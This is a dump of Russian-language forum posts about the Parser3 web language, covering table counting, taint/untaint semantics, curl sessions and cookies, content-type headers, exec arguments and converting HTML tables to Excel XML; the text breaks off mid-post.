"83306","Но есть и другие моменты по подходу, каскадирование самих шаблонов я решил делать через задание порядка наложения (наследования) в параметрах шаблонизатора перед генерацией. \
\
Плюс ШШ, еще потому, что и входные параметры/переменные и ссылку на Модель даю - посмотрю что лучше пойдет. Изолированность конечно теоритически правильнее. А модель сподручнее и гибче, особенно в закрытом проекте, и который не предполагает другого языка шаблонизации, кроме механизма на Парсере."
"83307","Здравствуйте, уважаемые профессионалы своего дела.\
\
Подскажите пожалуйста как правильно реализовать подсчет, суммирование и вывод данных с файла cfg\
\
Имеется cfg файл:\
[code]pp	klass_name	fio\
14	11А	Петя\
13	9А	Ваня\
12	10А	Таня\
11	11А	Федя\
10	9К	Тема\
9	11А	Антон\
8	13А	Вова\
7	10B	Женя\
6	11А	Саша\
5	9V	Оля\
4	11А	Полина\
3	10B	Рита\
2	9V	Лена\
1	9V	Леша[/code]\
\
Мне необходимо вывести количество учеников в классах. Т.е. необходимо посчитать сколько раз в столбце klass_name встречается скажем 11A и это количество раз необходимо вывести.\
\
Захожу опять с конца :)\
\
По идеи должно получиться следующее:\
когда выводишь данные\
^school_klass_[11A] — парсер должен выводить число 5\
^school_klass_[10B] — парсер должен выводить число 1\
^school_klass_[9V] — парсер должен выводить число 4\
\
Подскажите пожалуйста как реализовать такое?"
"83308","[code]\
@main[]\
$klasses[^table::load[klasses.cfg]]\
^school_klass_[$klasses;11А]\
\
@school_klass_[aKlasses;aKlass]\
  $result(^aKlasses.select($aKlasses.klass_name eq $aKlass))\
[/code]"
"83309",";)"
"83310","Ошибка [quote]auto.p(96:19): 'select' string method not found [parser.runtime][/quote]\
\
96 строка: \
[code]$result(^aKlasses.select($aKlasses.klass_name eq $aKlass))[/code]"
"83312","если бы воспользовались [url=/forum/?id=83288]этим советом[/url], то многое потом  (включая этот подсчёт) было бы делать гораздо проще:\
[code]\
^student_by_class.11A.count[]\
^student_by_class.10B.count[]\
[/code]"
"83314","Я как раз щас связывал этот тренд и тот совет, спасибо за то что подсказали как подсчет вывести."
"83315","Подскажите пожалуйста, как настроить уведомления при различных ошибках.\
\
Вот скажем, на сайте если возникла такая ошибка (ошибку сделал специально)\
\
[quote]Unhandled Exception\
The server encountered an unhandled exception and was unable to complete your request.\
Please contact the server administrator, ***@***.com and inform them of the time the error occurred, and anything you might have done that may have caused the error.\
More information about this error may be available in the Parser error log or in debug version of unhandled_exception.[/quote]\
\
можно ли настроить парсер так, что при таких ошибках на почту приходило письмо, мол: пипл, вот тебе ссылка на страницу где ты закосячил."
"83316","Расскажите, [url=http://www.parser.ru/faq/#forum]что сделали вы[/url]."
"83319","Изучил FAQ (http://www.parser.ru/faq/#errors)\
Перед созданием темы воспользовался поиском по форуму."
"83320","Найдите вот это сообщение:\
[quote]Unhandled Exception\
The server encountered an unhandled exception and was unable to complete your request.[/quote]\
в методе конфигурационного auto.p и напишите там код, отправляющий вам письмо."
"83321","Нет ли желания перевести сайт на HTTPS?\
\
Бывает, что заходишь на сайт из общедоступных сетей, и передавать пароль в открытую не очень хочется, а поднимать свои сети для захода на пару сайтов — перебор.\
\
Тот же [url=https://letsencrypt.org/]Let's Encrypt[/url] раздаёт сертификаты бесплатно."
"83323","Добрый день.\
Кодировка сайта, скриптов и базы UTF-8, но заливать файлы через форму для обработки могут в любой кодировке.\
Попытки перевести данные в UTF-8 путем пересохранения файла или его содержимого с $.charset[UTF-8] ни к чему не привели.\
\
Помогло только:\
[code]$request:charset[WINDOWS-1251] (для входного файла в соответствующей кодировке)\
^Файл_формы.save[text;Путь_для_сохранения;\
$.charset[UTF-8]\
][/code]\
\
Но при этом возникает проблема, если файл загружают в другой кодировке.\
\
[b]Можно ли как-то задать кодирование входящих данных или сохранить их в нужной кодировке без знания входящей кодировки?[/b]"
"83324","Есть кусок кода, который обходит допустим hash, значения которого могут быть выведены на экран (в том числе режим отладки).\
\
Хочется не тыкать во все места, где доходит до скалярных значений и втыкать там ^taint[строка], а \"испачкать\" кусок кода, считая все его результаты (выводы в main/result) неопределенно грязными.\
\
Т.е. по аналогии с ^untaint{ код } - только наоборот.\
\
Тогда можно было бы в одном удобном месте сделать типа такого:\
[code]\
\
^view_hash[^taint{$hsh}] \
\
потому, что если я сделаю\
\
^taint[^view_hash[$hsh]], то прибью заодно и всю разметку самого view_hash,\
который оформляет отступы, ключи, значения.\
\
[/code]\
\
Или я просто в трёх соснах заблудился?"
"83330","Пробема скорее не в сертификате, а в правильной настройке (что нужно редиректить на https, а что должно остаться доступным по http - страницы для тестов парсера, etc)."
"83332","[quote]а в правильной настройке (что нужно редиректить на https, а что должно остаться доступным по http - страницы для тестов парсера, etc)[/quote]\
\
Можно сделать так: на всех страницах указать [code]<rel name=\"canonical\" href=\"https://…\"/>[/code] вместо редиректов.\
И исправить все ссылки на https.\
\
Поисковые системы постепенно переиндексируют https-версии страниц, а сайт продолжит быть доступен по обоим протоколам."
"83334","Гугл, в списке рекомендаций по себя, как поисковик и вообще, \
в том числе предлагает и заголовками говорить о canonical links\
\
https://support.google.com/webmasters/answer/139066?hl=ru#6"
"83335","Яндекс поддерживает canonical только в виде тега."
"83337","Какой смысл использовать решение, не работающее для всех?\
\
Тег — универсален, поддерживается большинством поисковых систем."
"83340","untaint выполняет переданный ему код. потом он обрабатывает полученную в результате выполнения этого кода строку, и все её кусочки, которые имеют неопределённый \"язык\", перекрашивают в заданный (as-is по умолчанию)."
"83341","Определение из документации - понятно. \
\
Но думалось, что внутренний механизм ^untaint{ код } - как то на уровне компилятора вносит предварительно куски кода из \"области недоверенных - tainted\" в область доверительных источников (по-умолчанию), а не плоско и тупо работает со строкой-результатом (хотя и внешне, конечным результатом будет именно такой наблюдаемый эффект)\
\
Я так рассуждал:\
Если он работает \"тупо\" со строкой-результатом - то какой смысл делать фигурные скобочки?\
\
[code]\
^untaint[ ^some_tainted_code[] or anymore ]\
[/code]\
не то же самое бы было?\
\
То есть, я правильно понимаю, что ^untaint{...}\
это по сути то же самое, что гипотетический:\
[code]\
 ^taint[as-is-for-tainted-only][ ^some_code[] ]\
[/code]"
"83342","Вообще - сам код очень прототипный, т.е. я уверен в нем, что он стабильный и логика непротиворечива, скорее наоборот он местами избытоточно параноидальный и нелаконичный, поэтому хотелось бы переписать его более прямыми руками.\
\
Сейчас проходим шаблонизацию. Причем есть свое видение, каскадно-компонентного подхода, который отчасти пересекается с идеологией БЭМ и вообще.\
\
Навскидку там зарыто еще ~30% лишних операций точно, иногда умышленно и в угоду читаемости. Но при этих показателях он все равно overkill против многих решений \"их коробки\". \
\
В принципе это писалось под конкретный проект, и под конкретный заказ. Так, что черт-его-знает-дальнейшую-судьбу-всего-этого. На всякий случай обещать ничего не могу.\
\
Но я могу описать архитектуру, а она не такая уж и сложная, уверен реализация у многих получится красивее."
"83344","Как я понимаю, без подобных танцев с бубном не получится.)"
"83346","Сходу воспринимается как метод отмены «покраски» или «покраски» данных в качестве доверенных, в противоположность по умолчанию грязному taint'у.\
\
Называться он должен был taint-default или taint-unspecified.\
\
Хотя, может дело было так: [b]un[/b]specified-taint -> [b]un[/b]taint?"
"83347","Так как ^untaint = не отменяет покраску вообще. \
А отменяет только \"неопределенную\" (tainted-краску).\
И то не \"отменяет\", а красит в \"as-is\".\
\
Вообще, формально стоило просто не смешивать \"тип-краски\" и названия методов.\
Ко всему прочему, еще тип краски \"tainted\" прописан не в списке, а в строках по тексту, что усложняет умозрительное восприятие.\
\
Поправьте, если я ошибаюсь, но формально модель выглядит выглядит так:\
\
Для всех символов строк - есть типы красок.\
[code]\
 tainted  - неопределенно-грязные\
 as-is - чистые как есть\
 url \
 file\
 ...\
[/code]\
\
Так мало того - tainted-краска называется \"сбивающе\" с толку (лучше бы dirty называлась), так этот тип тупо не перечислен в таблице видов краски ниже, а \"подлый\" оператор ^taint - красит в эту \"tainted\"-краску без указания \"вида краски\".\
\
Неудивительно, что порог входа в понимании сразу завышается :) \
Но исторически так сложилось. Надо просто дать более ясное объяснение:\
\
\
1) tainted-краску - переназвать \"dirty\" (чтобы отгородить от методов)\
2) перечислить ее в таблице видов краски (в документации)\
3) и можно даже добавить опционально для порядка к ^taint[dirty][string]\
 потому что он это и так делает, но только без указания аргумента, а не просто по-умолчанию.\
\
\
Ясно, что делалось это давно и исторически так сложилось...\
\
\
Вообще если рассуждать формально, то не нужен никакой untaint, \
нужен \
\
[code]\
^taint[to][which][string]\
\
\
to - в какой цвет красим: dirty(tainted), as-is, url...  (по-умолчанию dirty)\
which -  красим всё или выбранный цвет: all, dirty(tainted), as-is, url... (по умолчанию all)\
string - строка\
\
\
тогда \
\
^taint[string] - покрасит всё в dirty(tainted) - как он и делает сейчас\
\
а \
\
^taint[as-is][dirty][string] - \"очистит\" только dirty(tainted)-куски, сделая их as-is\
\
как это делает сейчас ^untaint{string} \
\
[/code]\
\
----\
\
Плюсы: \
+ Становится и чище и гибче и даже больше возможностей - при всё том же механизме покраски.\
+ Добавляется лучшая читаемость всего, что происходит, особенно с порога\
+ Бородатый и странный ^untaint{} - в legacy-топку. (Остается для обратной совм)"
"83350","Когда предположительно можно ожидать версию с параметром max_loops? :)"
"83351","Это у moko нужно спросить."
"83352","что даст по идее 20000^2 итераций, должно на много лет хватить)"
"83353","Привет! Подскажите пожалуйста, есть ли возможность как-то сохранять http-сессию класса curl, чтобы посылать запросы в разное время в разных пользовательских методах, но при этом не создавая каждый раз новую сессию, а работая в рамках одной, пока срок ее годности не истек?"
"83354","Ну или, например, создать некий бесконечный цикл, в котором сначала создается сессия. А потом в этом цикле динамически вызывать методы. Возможен такой вариант?"
"83355","[code]@main[]\
^curl:session{\
	^a[]\
	^b[]\
	…\
}[/code]"
"83358","Сессия закроется, когда будет выполнен код, а не по принципе «нужно / не нужно».\
\
Задачу опишите, гадать можно долго."
"83360","Предлагаю добавить методу count поддержку параметра-выражения, для подсчёта удовлетворяющих условию строк:\
[code]^table.count($table.column eq 'some-value')[/code]\
в качестве аналога\
[code]$count(^таблица.select($table.column eq 'some-value'))\
$count [/code]"
"83361","Задача такова, что на сервере, куда я посылаю запросы в рамках одной http-сессии создается кука сессии. Если начать новую сессию, то кука изменится, а мне это не нужно допускать.\
Поэтому выполняется такой код (в отдельном процессе, разумеется):\
[code]^curl:session{\
	$i(1)\
	^while($i > 0){\
		^try{\
			$load1[^curl:load[...]]\
			$load2[^curl:load[...]]\
			$load3[^curl:load[...]]\
			...\
		}{\
			$exception.handled(1)\
			^continue[]\
		}\
	}\
}[/code]\
Но! Иногда нужно в рамках этой же сессии вызвать еще один $loadХ[^curl:load[...]], но не последовательно, а параллельно. Т.е. чтобы он не ждал, пока выполнятся другие $load1, $load2, $load3...\
Как можно это реализовать?"
"83362","[quote]Задача такова, что на сервере, куда я посылаю запросы в рамках одной http-сессии создается кука сессии. Если начать новую сессию, то кука изменится, а мне это не нужно допускать.[/quote]\
\
Если дело именно в установленной сессии через cookie, а не в постоянном HTTP-соединении, то нужно сохранить выданное сервером cookie и повторно использовать его для «параллельного соединения»."
"83364","В каждом load и так используется сохраненная кука. Но если сессия прервется, завершится, или если где-то в другом методе начать новую сессию к этому серверу, то сохраненная кука уже не подойдет, т.к. сервер создаст новую."
"83365","[quote]если сессия прервется, завершится, или если где-то в другом методе начать новую сессию к этому серверу, то сохраненная кука уже не подойдет[/quote]\
\
Очевидно, что cookie должно быть одно и самое свежее для всех соединений в данной сессии.\
Как только установлена новая сессия необходимо обновить её реквизиты в глобальном хранилище и использовать их повторно."
"83367","[quote]Только надо не допускать начало новой сессии. Надо работать в старой. Там срок действия выдаваемой куки - 100 лет.[/quote]\
\
Если cookie действует сто лет, то откуда взяться новой сессии?\
\
А если, несмотря на актуальность, повторно не принимается, значит только cookie недостаточно, сервер ориентируется ещё на что-то при организации сессии.\
Это вопрос к нему, а не к Парсеру."
"83368","Новая кука создастся, если сделать запрос к серверу вне той сессии, что я в коде приводил. И, таким образом, сессия, в которой мы работали, станет неактуальной.\
Ладно, похоже мне не удается объяснить как следует.\
В общем проблема в том, что надо все запросы посылать обязательно в одной curl-сессии параллельно друг другу, а это, похоже, невозможно. Поэтому придется решать задачу неэлегантным путем."
"83369","[quote]Новая кука создастся, если сделать запрос к серверу вне той сессии, что я в коде приводил. И, таким образом, сессия, в которой мы работали, станет неактуальной.[/quote]\
\
Так не делайте.\
Вы же рассказываете, что храните реквизиты и повторно их используете.\
И тут же говорите о новой сессии, значит не используете.\
\
0. Проверили нет ли в хранилище реквизитов открытого соединения;\
1. взяли имеющиеся реквизиты если они существуют и установили соединение;\
2. если реквизитов не было, сохранили в хранилище реквизиты, полученные на шаге 1.\
\
Это и есть необходимое вам «сохранение сессии»."
"83370","Реквизиты, хранимые во внешнем хранилище действуют только:\
[code]^curl:session{\
	здесь\
}[/code]\
Если же ВНЕ этой curl-сессии сделать ^curl:load[на этот же сервер], что иногда требуется, то в вышеприведенном коде сервер начнет ругаться, что кука новая создана и не совпадает с той, что мы там используем, поэтому придется начинать новую сессию, получать новую куку и сохранять ее в хранилище и так далее по кругу."
"83371","[quote]Реквизиты, хранимые во внешнем хранилище действуют только:\
^curl:session{\
	здесь\
}[/quote]\
\
С чего это?\
curl:session — это постоянное HTTP-соединение, на отправку и получение данных для установки сессии поверх HTTP оно влиять не должно.\
\
[quote]Если же ВНЕ этой curl-сессии сделать ^curl:load[на этот же сервер], что иногда требуется, то в вышеприведенном коде сервер начнет ругаться, что кука новая создана и не совпадает с той, что мы там используем, поэтому придется начинать новую сессию, получать новую куку и сохранять ее в хранилище и так далее по кругу.[/quote]\
\
[code]^curl:load[\
	…\
	$.cookie[$saved_session_cookie]\
][/code]\
\
Должно работать.\
\
Если не работает, то, вероятно, у сервера есть какие-то тонкости в организации сессии, которая зависит не только от сохранённых cookie."
"83372","[quote]Должно работать.[/quote]\
Нет, не работает так.\
[quote]Если не работает, то, вероятно, у сервера есть какие-то тонкости в организации сессии, которая зависит не только от сохранённых cookie.[/quote]\
Ок, будем считать, что так."
"83373","[quote]Нет, не работает так.[/quote]\
\
Прекрасно работает.\
\
[code]@main[]\
$login[]\
$password[]\
\
$url[http://www.parser.ru/forum/]\
$session_file[/parser-ru.session]\
\
^if(-f $session_file){\
	$session[^table::load[$session_file]]\
}{\
	$login_response[^curl:load[\
		$.url[$url]\
		$.post(true)\
		$.httppost[\
			$.[auth.logon][do]\
			$.[auth.name][$login]\
			$.[auth.passwd][$password]\
		]\
		$.cookie[cookie=on]\
	]]\
\
	$session[$login_response.cookies]\
	^session.save[$session_file]\
}\
\
$response[^curl:load[\
	$.url[$url]\
	$.cookie[^session.menu{$session.name=$session.value}[^;]]\
]]\
\
^json:string[$session]\
<hr/>\
is_logined: ^if(^response.text.pos[<a href=\"/forum/profile/\">$login</a>] > -1)[y;n][/code]"
"83374","Ладно, спасибо за попытку помочь, попробую сам придумать решение. К сожалению, мне не дозволено выдавать адрес того сервера, поэтому не могу на живом примере показать."
"83375","curl:session не делает никакой реальной сессии. Курл делает попытку сохранить tcp-соединение с сервером, если сервер поддерживает keep-alive. При этом нет никакой гарантии, что это tcp-соединение не будет разорвано операционной системой, веб-сервером или сетевым оборудованием. Молча.\
\
Фактически вы нам говорите, что сервер выдает http-сессию на конкретное tcp-соединение. Это очень странно и ненадежно. Никакой бесконечный цикл не поможет — соединение может быть разорвано в любой момент и Парсер про это вам ничего не скажет.\
\
Так что расскажите про алгоритм работы с сервером, как его описывают разработчики на той стороне. Адрес сервера не нужен. Или давайте закроем тему. :)"
"83376","Бесконечный цикл помогает и это работает у меня уже несколько суток.\
Я сделал обработку ответов от сервера таким образом, что если соединение рвется по каким-то причинам, то приходит \"неправильный\" ответ и я выполняю ^continue[] и он по новой соединяется, там все нормально. По сути с помощью curl я имитирую действия, которые мог бы делать через браузер.\
\
Да, думаю лучше будет закрыть тему. К тому же я почти дописал уже решение, которое будет работать, медленно, но верно.\
\
Мне вообще знакомый php-программист предлагал через сокет соединяться, но в Парсере такое не предусмотрено."
"83377","Делаете прокси, который устанавливает соединение с удаленным сервером, сохраняет «сессионные куки» и пихает их во все запросы от своих клиентов. При потере соединения куки надо поменять в прокси. С «другой стороны» к прокси конектятся ваши скрипты и шлют запросы без сессий. Сессиями рулит прокси. Получится одно виртуальное соединение.\
\
Понятно, что это не на Парсере надо писать. :)"
"83379","Вам надо сначала понять реальное поведение сервера.\
Потому, что HTTP (во что бы он завёрнут не был, с учётом новых тенденций) - по-прежнему ориентирован на множествнные открытия соединений и закрытия соединений.\
\
И так называемый keep-alive режим о котором говорит Sumo, является лишь прикладной рекомендаций не закрывать соединение (по-возможности). \
\
HTTP cookies - это контекст вне соединений, или между соедиенения - априори.\
И в нормальной (и даже любой современной реализации, учитывая и SPDY и HTTP/2.0 - все равно будет оставаться так же).\
\
А вот почему у вас или вашего веб-сервера такое поведение - это вопрос нужно посмотреть внимательно.\
\
Веб-сервер (частая практика) - бывает попутно к самой cookie-сессии = хранит у себя доп.атрибуты, которые валидны для клиента которому он эту сессию выдал.\
\
\
Может веб-сервер опирается на ваш IP? \
(А он, например, у вас какой-то динамический на каждый запрос - нам неизвестно что вы используете).\
\
Или например меняете (подмешиваете что-то в User-Agent) или другое HTTP-поле, которое веб-сервер считает важным.\
\
Надо сверить все заголовки, вдруг дело не TCP-соединении?\
\
А так, да, странное, конечно, поведение если он в итоге реально завязывает cookie на Keep-Alive. \
\
[i]\"Это какие-то неправильные пчелы, наверное они делают неправильный мёд\"[/i]"
"83380","Предлагается в один присест унифицировать, расширить и одновремнено упростить понимание и работу со всеми taint-измами.\
\
Буквально в один метод:\
[i]*tainted-цвет умышленно переназван \"dirty\", чтобы меньше сбивало с толку.[/i]\
\
[code]\
^taint[to][which][string]\
\
to - в какой цвет красим: dirty(tainted), as-is, url...  (по-умолчанию dirty)\
which -  красим всё или выбранный цвет: all, dirty(tainted), as-is, url... (по умолчанию all)\
string - строка\
\
тогда:\
\
^taint[string] - покрасит all(всё) в dirty(tainted) - как он и делает это сейчас\
\
^taint[as-is][dirty][string] - покрасит только dirty(tainted)-куски, сделая их as-is(чистыми), как сейчас ^untaint{string} \
\
----\
Плюсы: \
1. ^untaint{} = улетает в legacy-топку (остается только для обратной совместимости) \
2. унификация и одновременное до-расширение возможностей за счет гибкости и без изменения механизма\
3. лучше и понятнее всё выглядит и сущ.уменьшает порог входа в таинтизмы \
\
PROFIT\
[/code]\
\
P.S.: ну и +/- его собрат-аналог с приставкой apply-   для ежемоментного изменения.\
Если по набору аргументов не получится сохранить обратной совместимости, то можно был бы и новое имя дать... не на основе слова \"пачкать\", а \"красить\"."
"83381","Скриншоты внизу:\
\
На сайт забегает много новичков, которые только знакомятся с разработкой, и уверен не многим сподручно править/перекрывать гадкий Courier - чем-то получше.\
\
21 век на дворе, сдеалайте подгрузку Droid Sans Mono\
замечательный шрифт, как и весь Droid, сделанный одним известным автором-шрифтовиком (Steve Matteson). (Я уже многие перепробовал и маковский стандартный, и всякие open, liberation, тем более ubuntu-гарнитуру, некоторые (многие) на кирилиических литерах начинают \"говнять рендер\", то буковка подскочит над baseline то еще какой-нить артефактик. \
\
По крайней мере, я где не проверял, а Droid  рендерится корректно на всех платформах от старых Win, до Маков, не говоря уже и о Linux-десктопах.\
\
Он \
 a) оч.компактный для моноширинного\
 b) читабельный\
 c) широчайшее покрытие языков/раскладок\
 d) вполне свободный к использованию Apache Licensed\
\
\
Ну и собстна.. скрины как это выглядит с CourierNew и Droid Sans Mono.\
\
Гадкий \"Курьер\" рендерится такими тонкими линиями, что читать невозможно, да еще и столько экрана в ширину съедает:\
https://s32.postimg.org/5j7tp2zj9/p3site_courier.png\
\
Тот же код Droid Sans Mono - просто песня для глаз:\
Даже кажется что он не моноширинный, настолько комфортно прибран\
https://s32.postimg.org/iahehuc7p/p3site_droid.png\
\
Собственно,\
https://www.google.com/fonts/specimen/Droid+Sans+Mono"
"83383","Просто \"курьер\" кривой по рендеру на некоторых платформах.\
И не только он, особенно в кириллических литерах. \
Тут как бы не в гарнитуре даже дело."
"83387","Друзья, третий месяц пошёл новой версии сайта, которая вынуждает делать из iOS двойные клики по всему, а форма логина просто издевается, разъезжаясь и закрываясь по нескольку раз в процессе набора логина и пароля.\
В начале мая обсудили ошибки — и тишина.\
Можно это «удобство» починить?\
\
http://www.parser.ru/forum/?id=83104\
http://www.parser.ru/forum/?id=83002"
"83388","Как можно починить то, что невозможно воспроизвести? Можно узнать хотя бы версии ОС и браузера?\
Ах да, выше нашел. Ну что же, попробую еще раз воспроизвести."
"83390","Имеем очень бородатый движок сайта, не сказать что там есть MVC, но есть кое какая объектная модель ;)\
Нужно расширить функционал, у самого времени нет, тружусь на благо государства в очень большом проекте, а старых клиентов надо выручать.\
Если интересно, можем обсудить в скайпе, телеграмме, по телефону.\
Ну и натянуть новый дизайн, html уже есть.\
\
И да, я полностью доступен и могу рассказать, что куда и откуда и почему. Конечно не 24 часа, но буду уделять вам как можно больше времени."
"83393","А вообще свои контакты не готов выкладывать для индексации ;)"
"83394","Хотя раньше вроде показывало."
"83395","Таблицей передавать аргументы можно, а хешем, который давным-давно помнит порядок элементов — нельзя.\
\
Предлагаю поддерживать и хеш, а то приходится генерировать таблицу, только для передачи в exec.\
\
При этом, ключ и значение образуют пару аргументов.\
Если значение пустое — это один агрумент.\
\
[code]$args[\
	$.a[b]\
	$.c[]\
	$.d[e]\
]\
^file::exec[my-script;$env;$args]\
# вызов:\
# my-script a b c d e[/code]"
"83397","Соответственно, не смог воспроизвести баги и не могу их исправить. Если будут конкретные предложения -- исправим (только не такого рода http://cssmenumaker.com/blog/solving-the-double-tap-issue-on-ios-devices)."
"83399","Вот тут ошибка воспроизведена — http://www.parser.ru/forum/?id=82989\
\
Я понимаю, что ОС старая, но до переделки всё прекрасно работало, а теперь — сил нет, всё нужно нажимать дважды."
"83400","Да, самопроизвольно закрываться форма перестала.\
Но её нельзя закрыть самостоятельно, например, ожидаемым кликом вне формы (под iOS, в том числе старше 6-й версии)."
"83401","[quote]При этом, ключ и значение образуют пару аргументов.[/quote]\
\
На мой взгляд логики в таком поведении немного. Помню еще обсуждался вариант сделать $.-o[v] -> -o=v, но кажется и тоже особого восторга не вызвало."
"83402","Не понятно это script.bin с или script.bin с \"\"."
"83403","[quote]> При этом, ключ и значение образуют пару аргументов.\
На мой взгляд логики в таком поведении немного.[/quote]\
\
Логика прямая: аргумент чаще всего либо пара имя—значение, либо флаг.\
Соответственно и передавать его либо парой, либо только ключём.\
\
Использовать только значение ключа очень неудобно — фактически, получается та же таблица."
"83404","Формально, $.arg[\"\"] имеет значение и должен быть передан как «arg \"\"».\
Такой случай можно предусмотреть и дополнительно не оборачивать значение в кавычки.\
\
Также передача пустого значения аргумента — задача достаточно редкая, для которой можно использовать таблицу."
"83405","Твоя логика работает в очень ограниченном количестве случаев. Текущих способов передачи параметров более чем достаточно и они вполне нормальные и логичные."
"83406","[quote]Твоя логика работает в очень ограниченном количестве случаев.[/quote]\
\
Она работает для любых случаев.\
Либо пара ключ—значение, либо любой ключ с пустым значением.\
\
Разве что, в ограничение длины ключа можно упереться."
"83407","Ряд нативных методов ругаются, если им передать в качестве необязательного аргумента void:\
[code]$table[^table::create{}]\
^mycount[$table]\
\
@mycount[table;type]\
$result(^table.count[$type])[/code]\
\
Приходится ставить костыль:\
[code]^table.count[^if(def $type){$type}][/code]\
\
Нельзя ли на void не ругаться и считать параметр пустым?"
"83408","[quote]Такой случай можно предусмотреть и дополнительно не оборачивать значение в кавычки.[/quote]\
\
Кавычками занимается шелл, парсер передает именно параметры, никакие пробелы например в этом случае кавычить не надо. \
\
[quote]Также передача пустого значения аргумента — задача достаточно редкая, для которой можно использовать таблицу.[/quote]\
\
Зато можно очень неожиданно получить сдвиг параметров если какое-то из значений случайно окажется пустым, а вызывается например .sh, явно использующий $N..."
"83409","[quote]Нельзя ли на void не ругаться и считать параметр пустым?[/quote]\
\
Что-то мне кажется, что void тут не при чем. И на \"костыль\" ^table.count[^if(def $type){$type}] мне тоже выдается ошибка. А дело в наличие или отсутствии параметра. И считать вызов $empty[] ^table.count[$empty] вызовом без параметров конечно можно, но не факт что правильно. :)"
"83410","[quote]И на \"костыль\" ^table.count[^if(def $type){$type}] мне тоже выдается ошибка.[/quote]\
\
Да, костыль обычно такой:\
[code]^table.count[^if(def $type){$type;rows}][/code]\
C указанием параметра по умолчанию.\
\
[quote]И считать вызов $empty[] ^table.count[$empty] вызовом без параметров конечно можно, но не факт что правильно.[/quote]\
\
Разве что, где-то нужен явно переданный void.\
\
Но ошибка при простом «пробросе» параметра мне кажется странной и требующей совершенно лишних телодвижений."
"83411","Прошу прощения за поздний ответ\
емейл для первичной связи maxrip@gmail.com"
"83412","[quote]Разве что, где-то нужен явно переданный void.\
[/quote]\
\
И снова не очень понимаю, почему речь только о void. Тогда уж и на пустую строку логично распространить такое нелогичное поведение. :)"
"83413","[quote]И снова не очень понимаю, почему речь только о void. Тогда уж и на пустую строку логично распространить такое нелогичное поведение.[/quote]\
\
В чём его нелогичность?\
\
Речь про конкретный случай «проброса» аргумента без дополнительных проверок.\
Он в этом случае void, а не пустая строка."
"83414","Просто если ^table.count[$empty] должно работать, то и ^mycount[$table;$empty], и ^mycount[$table;] должны работать. А в этом случае будет уже пустая строка, а не void."
"83415","[quote]Просто если ^table.count[$empty] должно работать, то и ^mycount[$table;$empty], и ^mycount[$table;] должны работать. А в этом случае будет уже пустая строка, а не void.[/quote]\
\
C этим я согласен.\
Но не появятся ли несовместимости?"
"83416","Это если и делать, то будет сделано в конкретных методах, вместо сообщения об ошибке. Поэтому с совместимостью тут проблем нет, а вот делать это или нет вопрос открытый, поскольку например так может спрятаться баг в коде (забыл пробросить или инициализировать параметр например) и остаться незамеченным."
"83417","Доброе время суток!\
Как принудительно задать контент-тайп результирующему ответу?\
Например, я хочу по адресу http://localhost/json/ выдавать json-строку, но чтобы при этом mime-type распознавался браузером как application/json. Но вместо этого он text/html.\
[code]$response:CONTENT-TYPE[application/json^; charset=utf-8]\
$response:body[\
	^json:string[$h;\
		$.indent(true)\
		$.date[unix-timestamp]\
		$.table[array]\
		$.file[base64]\
	]\
][/code]"
"83418","[code]\
$response:content-type[\
  $.value[application/json]\
  $.charset[utf-8]\
]\
[/code]"
"83419","Для теста делаю так:\
[code]$j[^curl:load[\
	$.url[^untaint[as-is]{http://localhost/json/}]\
	$.useragent[Parser3]\
	$.timeout(5)\
	$.ssl_verifypeer(0)\
	$.ssl_verifyhost(0)\
]]\
\
$j.content-type<br>\
\
^response:headers.foreach[k;v]{\
	${k}:<br>\
	^if($v is hash){\
		^v.foreach[k1;v1]{\
			$k1 = $v1\
		}[<br>]\
	}{\
		$v\
	}\
}[<br>][/code]\
Результат:\
[quote]text/plain\
CONTENT-TYPE:\
value = text/html\
charset = UTF-8[/quote]"
"83425","Нет, там эта ошибка не воспроизведена, там про аналогичное поведение, но при других условиях. Чтобы исправить здесь, надо понять, что исправлять. Вернуть старую версию -- не выход.\
\
Нашел iPad c iOS 5.1 -- там подобного тоже нет."
"83427","есть у меня набор кусочков HTML в которых лежат \"шапки\" таблиц. Типа таких, упрощенно:\
\
[code]<tr>\
	<td rowspan=2>rowspan 2</td>\
	<td colspan=2 >colspan 2</td>\
</tr>\
<tr>\
	<td>1</td>\
	<td>2</td>\
</tr>[/code]\
мне эти сегменты надо преобразовать в xml-вид, понятный excel-ю, вот так (опять же упрощенно, лишнее повыкидывал):\
[code]\
<Row>\
	<Cell ss:MergeDown=\"1\">rowspan 2</Cell>\
	<Cell ss:MergeAcross=\"1\">colspan 2</Cell>\
</Row>\
<Row>\
	<Cell ss:Index=\"2\">1</Cell>\
	<Cell>2</Cell>\
</Row>\
[/code]\
\
В принципе тут всё тривиально, регулярками делаются замены, мерджи пересчитываются... за исключением одного момента:\
[code]<Cell ss:Index=\"2\">1</Cell>[/code]\
\
Вот тут мне немного мозг припекло, если честно. Excel не может как браузер таблицу посчитать сам и хочет чтобы были индексы у сдвинутых ячеек (причем только у первой в группе!). Как этот индекс высчитывать в общем случае?\
В голову приходит приблизительно такой алгоритм:\
1. высчитываем ширину таблицы по первой строке (количество td+colspan)\
2. строим что-то типа двумерного массива (таблица, хэш?)\
3. бежим по строкам заполняя этот массив. Встречая rowspan=N помечаем более нижние элементы N как \"занятые\", в остальные попадают сами данные.\
4. Когда всё заполнили, перебираем и строим xml\
\
Выглядит ужасно, с моей точки зрения. Может у кого есть какие то более свежие идеи?"
"83428","Эксперимент показал, что причина в двух селекторах в http://www.parser.ru/f/1/global/expromptum.css:\
#67[code].disabled :hover.control_button[/code]\
и\
#149[code]:hover.disabled[/code]"
"83429","[quote]2. строим что-то типа двумерного массива (таблица, хэш?)[/quote]\
\
Мне кажется просто хеш с ключами типа X-Y - по задаче нет смысла делать два уровня хешей.\
\
[quote]Встречая rowspan=N помечаем более нижние элементы N как \"занятые\".[/quote]\
\
Да.\
\
[quote]4. Когда всё заполнили, перебираем и строим xml[/quote]\
\
Зачем? На вид вполне себе однопроходный алгоритм."
"83431","Думал про XSLT, но как в нем вычислить индекс ячейки, основываясь на значениях аттрибутов совершенно других ячеек?"
"83432","[quote]Зачем? На вид вполне себе однопроходный алгоритм.[/quote]\
Сначала собрать хэш, потом разобрать хэш в xml, как тут в один проход?"
"83433","Можно скакать по документу как захочется.\
Например, в шаблоне, выводящем ячейку, достать нужную для ориентира и проверить её атрибуты."
"83434",">Сначала собрать хэш, потом разобрать хэш в xml, как тут в один проход?\
\
Да нет, просто использовать по ходу дела текущее наполнение хеша. На момент обработки ряда про него все известно (из информации ряда и заполненных ранее rowspan предыдущих рядов)."
"83435","Но, я думаю если это и возможно, то выражение будет заоблачное по сложности. Чтобы вывести индекс ячейки надо:\
1. определить ее Y-номер ряда\
